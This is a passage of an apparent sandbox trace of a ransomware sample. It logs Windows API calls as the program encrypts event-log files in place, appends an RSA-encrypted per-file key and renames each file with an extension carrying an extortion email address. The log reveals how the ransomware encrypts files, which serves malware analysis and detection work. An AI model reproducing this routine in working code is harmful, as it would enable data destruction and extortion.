pszString="Ss1DjPmWKBy/NKwExP/fMM0+rrQHZ2c3BaUvcPytkmGj/xk+6OqyEpdqc0VloY2H\nC6C7VOnJhOb33DNqq7qRgT+oNrc5/W5vhxuBIrIj0RCC8dcsVAITAEReEEnAKEdG\nAKi/nYjDC7vsIsJ+9MAqVh2fs/O7UaasGJpOt2SctrDkRzr2N2icSqHBDApSAomQ\nXamfQX5e6yMCLY7aeTh0bOkLn3JGJWBNuw2X2fM6I5JBLUdIOLDOl7rKBAKWQspR\nroE3AqbZ/Lzztu0BT4n9VP+IcmBbzXCYicZl/aiiJDh0MXbLbocQuJM4dPyr5alS\nG3LyPLpqbFmgAbf0utNBNA==\n", pcchString=0x2e3f9a8) returned 1 [0123.874] WriteFile (in: hFile=0x460, lpBuffer=0x5b5d80*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5d80*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0123.875] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0123.875] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0123.875] CloseHandle (hObject=0x460) returned 1 [0123.877] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5d80 | out: hHeap=0x570000) returned 1 [0123.877] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-Store%4Operational.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0123.879] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0123.879] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb98 | out: hHeap=0x570000) returned 1 [0123.879] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6640 | out: hHeap=0x570000) returned 1 [0123.879] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6368 | out: hHeap=0x570000) returned 1 [0123.879] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5d0cd0 [0123.879] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccb98 [0123.879] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0123.879] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx", dwFileAttributes=0x80) returned 1 [0123.889] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5d0910 [0123.889] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x2e40f20 [0123.889] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0910 | out: hHeap=0x570000) returned 1 [0123.889] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0123.890] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69632) returned 1 [0123.890] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5d3810 [0123.890] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5e4818 [0123.890] ReadFile (in: hFile=0x460, lpBuffer=0x5d3810, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesRead=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0123.908] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0123.908] WriteFile (in: hFile=0x460, lpBuffer=0x5e4818*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e4818*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0123.908] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0123.909] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e4818 | out: hHeap=0x570000) returned 1 [0123.911] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11000 [0123.912] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0123.912] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0123.912] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0123.912] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0123.913] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0123.914] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5d80 [0123.914] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5d80, pcchString=0x2e3f9a8 | out: pszString="kM/9unwz/hRj5TVW04wMgxj4uC5uTFuegCvMi14079U3I1egTBRNx/Xnb1vdcbpl\nseX1X+cockzJoJmFmCYzCZdFRfFL6wsBcmQC9lZc0lSG+AcCQZqoEoFnq9GnYZkf\nH4Y2DoZ2ySvsliT6qVTv83DLMx2265vt78jaxa+lzSmp5dEPW01zlR8yJP2oEXB2\n9qfzd0rnyJcfl7UE0wjeuwVz95f/+IMTc0aM2aGupvj7sA6V5Uck1IN8WDQcg2UU\n7JaXb5SvHjMge0frPBNVJEXqKqqwPbRJZsFWXIv4Q4YMqYhLoladigeQlurOkQrF\nv89N0xtUFWM3IV8+LEuYqQ==\n", pcchString=0x2e3f9a8) returned 1 [0123.914] WriteFile (in: hFile=0x460, lpBuffer=0x5b5d80*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5d80*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0123.914] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0123.914] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0123.914] CloseHandle (hObject=0x460) returned 1 [0123.919] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5d80 | out: hHeap=0x570000) returned 1 [0123.919] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0123.935] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0123.935] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb98 | out: hHeap=0x570000) returned 1 [0123.935] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0cd0 | out: hHeap=0x570000) returned 1 [0123.935] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0460 | out: hHeap=0x570000) returned 1 [0123.935] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5d0910 [0123.935] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cca58 [0123.935] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0123.935] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0123.936] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5d0e38 [0123.936] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2e40f20 [0123.936] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0e38 | out: hHeap=0x570000) returned 1 [0123.936] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0123.936] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69632) returned 1 [0123.936] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5d3810 [0123.936] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5e4818 [0123.936] ReadFile (in: hFile=0x460, lpBuffer=0x5d3810, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesRead=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0123.956] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0123.956] WriteFile (in: hFile=0x460, lpBuffer=0x5e4818*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e4818*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0123.956] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0123.958] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e4818 | out: hHeap=0x570000) returned 1 [0123.960] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11000 [0123.960] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0123.960] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0123.960] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0123.960] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0123.961] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0123.962] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5d80 [0123.962] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5d80, pcchString=0x2e3f9a8 | out: pszString="3073zVrR30aCYjAZMKmacgTKiwx80Mrzr9K+WxQrNCuNotj5ik1FXudBJqlP50uX\nyN5aX2rNX0OZs4wyNANWucWVJSvrRDR3V0U5mp7djrDD1rQ9Adc0kqfwhD8Ne4WO\n6D9pS7m85Pl45oNPJxWFYwWHoKj+qYSX/thMUizEKf2bH863ODj+0grOORoZFj8G\ncZuUgRuoRCGptHPJvUWsPF69yIL0Ehdr9sBfmfAzvnm0ow/f/7Q01kfIhk+Bh9ZZ\ngvcm/oVbu3PMpIPJC76f0bqvzqQ53LxA3O2+1e5fhvxs+ejkXbfZ4bqUexkdSLHN\n6RtWZP/Ih6T99eBC5Ul7uw==\n", pcchString=0x2e3f9a8) returned 1 [0123.962] WriteFile (in: hFile=0x460, lpBuffer=0x5b5d80*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5d80*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0123.962] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0123.962] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0123.962] CloseHandle (hObject=0x460) returned 1 [0123.964] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5d80 | out: hHeap=0x570000) returned 1 [0123.964] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0123.966] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0123.966] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca58 | out: hHeap=0x570000) returned 1 [0123.966] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0910 | out: hHeap=0x570000) returned 1 [0123.966] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0898 | out: hHeap=0x570000) returned 1 [0123.966] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5d0898 [0123.966] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccb98 [0123.966] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0123.966] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx", dwFileAttributes=0x80) returned 1 [0123.967] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5d0cd0 [0123.967] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2e40f20 [0123.967] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0cd0 | out: hHeap=0x570000) returned 1 [0123.967] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0123.967] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69632) returned 1 [0123.967] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5d3810 [0123.968] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5e4818 [0123.968] ReadFile (in: hFile=0x460, lpBuffer=0x5d3810, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesRead=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0123.987] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0123.987] WriteFile (in: hFile=0x460, lpBuffer=0x5e4818*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e4818*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0123.987] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0123.988] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e4818 | out: hHeap=0x570000) returned 1 [0123.991] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11000 [0123.991] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0123.991] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0123.991] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0123.991] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0123.993] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0123.993] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5d80 [0123.993] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5d80, pcchString=0x2e3f9a8 | out: pszString="+f0Dzf0umNVy+iHdHify3zidky/ZiSmQ0Mb7zOpocCcjl1/q0dGOTeE+OToeE/CI\nHf0duU/aWtnRUCg3fgjIwlB2UEyZQK0T2guO6SIA2Z4BB88E9mw3YEaPxgcawm0C\nnBU15OsULcoSMthQ7stzag22mXhXNaR5nwqBwKganpW1gYz+JsgsSuTHmb0LZqQF\nesbK5h9JiHHFwav1SbUbUkpTYqPBsuJzMKm34LDzcwJyHO6HEz1A+4lIap1biQbD\nmVDSRM53aZU5dqleZJbWtqwDTLN497cEwqaHvHI+9Y0dd1ylvBylvOjIeEBj3Qyn\nAzuww+WrDr1/+gSiTY1sMw==\n", pcchString=0x2e3f9a8) returned 1 [0123.993] WriteFile (in: hFile=0x460, lpBuffer=0x5b5d80*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5d80*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0123.993] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0123.993] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0123.993] CloseHandle (hObject=0x460) returned 1 [0123.995] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5d80 | out: hHeap=0x570000) returned 1 [0123.995] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0123.998] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0123.998] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb98 | out: hHeap=0x570000) returned 1 [0123.998] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0898 | out: hHeap=0x570000) returned 1 [0123.998] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b59b8 | out: hHeap=0x570000) returned 1 [0123.999] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6640 [0123.999] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cca58 [0123.999] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0123.999] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx", dwFileAttributes=0x80) returned 1 [0123.999] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6368 [0123.999] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x2e40f20 [0123.999] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6368 | out: hHeap=0x570000) returned 1 [0123.999] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0123.999] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69632) returned 1 [0123.999] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5d3810 [0123.999] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5e4818 [0123.999] ReadFile (in: hFile=0x460, lpBuffer=0x5d3810, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesRead=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0124.015] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0124.015] WriteFile (in: hFile=0x460, lpBuffer=0x5e4818*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e4818*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0124.015] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0124.017] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e4818 | out: hHeap=0x570000) returned 1 [0124.019] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11000 [0124.019] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0124.019] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0124.019] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0124.019] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0124.021] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0124.021] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5d80 [0124.021] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5d80, pcchString=0x2e3f9a8 | out: pszString="vTypHN2V/k71ZSFBPyEewHE5CtoyNYOE1O3exIyRPOT4Ptml/B0toNjYdOQL/QCc\ntjWqP/dQ7Y2WWuyW8OU80wQYulBwrJcctbjjOPz7wlrjh3eHAZgjvWWdNtWbK8Wl\n6sw529OCBBhiJvnb80g216G5MG3sDQAQeFB93oOU89WqW41SHGfZ+WNWP1gC0TdW\nK5qjTZ5VMD0ACfOXDDuIXnqvRP3OY8by2jFsZOkh7fiBTv6NXhK8xDzkVQ6ZH+L3\nI5gzLJ1JLBFXyitDiLuCMwPxhAdSjg1JnshRvFv+f9kgIUXoequNqAbM+sbtrWyh\nRa4HpPQ0231XX/4E555Gag==\n", pcchString=0x2e3f9a8) returned 1 [0124.021] WriteFile (in: hFile=0x460, lpBuffer=0x5b5d80*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5d80*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0124.021] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0124.021] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0124.021] CloseHandle (hObject=0x460) returned 1 [0124.023] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5d80 | out: hHeap=0x570000) returned 1 [0124.023] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0124.025] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0124.025] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca58 | out: hHeap=0x570000) returned 1 [0124.025] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6640 | out: hHeap=0x570000) returned 1 